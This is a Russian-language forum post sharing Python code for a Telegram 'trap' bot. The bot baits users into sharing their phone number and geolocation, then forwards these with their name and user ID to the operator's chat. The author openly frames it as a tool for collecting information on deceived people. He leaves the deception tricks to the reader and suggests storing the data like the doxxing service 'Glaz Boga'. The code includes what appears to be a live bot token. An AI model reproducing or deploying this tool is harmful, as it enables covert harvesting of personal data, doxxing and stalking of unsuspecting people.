Небольшой инструмент-ловушка в телеграм для сбора инфы о пользователе (если конечно он поведется и нажмет на кнопку подтверждения отправки контакта или геолокации боту), можно придумать много ухищрений для того чтобы он это сделал, но я покажу только код основного функционала, остальное за вами.
Работает так, пользователь жмет в боте кнопку "Запросить контакт" или "Запросить геолокацию" и подтверждает отправку. Как это выглядит:
Для установки бота требуется поставить:
Код бота:
P.S. Можно модернизировать и писать в БД, как это делает "Глаз Бога".
Работает так, пользователь жмет в боте кнопку "Запросить контакт" или "Запросить геолокацию" и подтверждает отправку. Как это выглядит:
Для установки бота требуется поставить:
pip install aiogramКод бота:
bot.py:У вас должно быть более 5 реакций для просмотра скрытого контента.
Python:
import logging
from aiogram import Bot, Dispatcher, types
from aiogram.filters.command import Command
from aiogram.utils.keyboard import ReplyKeyboardBuilder
from aiogram import F
# Включаем логирование, чтобы не пропустить важные сообщения
logging.basicConfig(level=logging.INFO)
# Объект бота
bot = Bot(token="7205615990:AAGNnnF4EtdMc3X0sho1nR2Xi8mTBe5555") # Сюда вставляем токен от BotFather
# Диспетчер
dp = Dispatcher()
@dp.message(Command("start")) # Активируем кнопки бота по команде /start
async def cmd_special_buttons(message: types.Message):
builder = ReplyKeyboardBuilder()
builder.row(
types.KeyboardButton(text="Запросить геолокацию", request_location=True),
types.KeyboardButton(text="Запросить контакт", request_contact=True)
)
await message.answer(
"Выберите действие:",
reply_markup=builder.as_markup(resize_keyboard=True),
)
#Получаем контакт
@dp.message(F.contact)
async def contact_handler(message: types.Message):
await bot.send_message(chat_id=5555805555, # Chat id это id администратора бота которому приходит сообщение
text=f"Username: @{message.from_user.username}\n"
f"Имя: {message.from_user.first_name}\n"
f"Фамилия: {message.from_user.last_name}\n"
f'Телефон: {message.contact.phone_number}\n'
f'ID пользователя: {message.from_user.id}')
#Получаем координаты геолокации
locations = {}
@dp.message(F.location)
async def location_handler(message: types.Message):
latitude = message.location.latitude
longitude = message.location.longitude
locations['latitude'] = latitude
locations['longitude'] = longitude
await bot.send_message(chat_id=5555805555, # Chat id это id администратора бота которому приходит сообщение
text=f"Username: @{message.from_user.username}\n"
f"Имя: {message.from_user.first_name}\n"
f"Фамилия: {message.from_user.last_name}\n"
f"Широта: {locations['latitude']}, Долгота: {locations['longitude']}\n"
f'ID пользователя: {message.from_user.id}')
logging.info("Бот запущен")
dp.run_polling(bot)
P.S. Можно модернизировать и писать в БД, как это делает "Глаз Бога".
Последнее редактирование: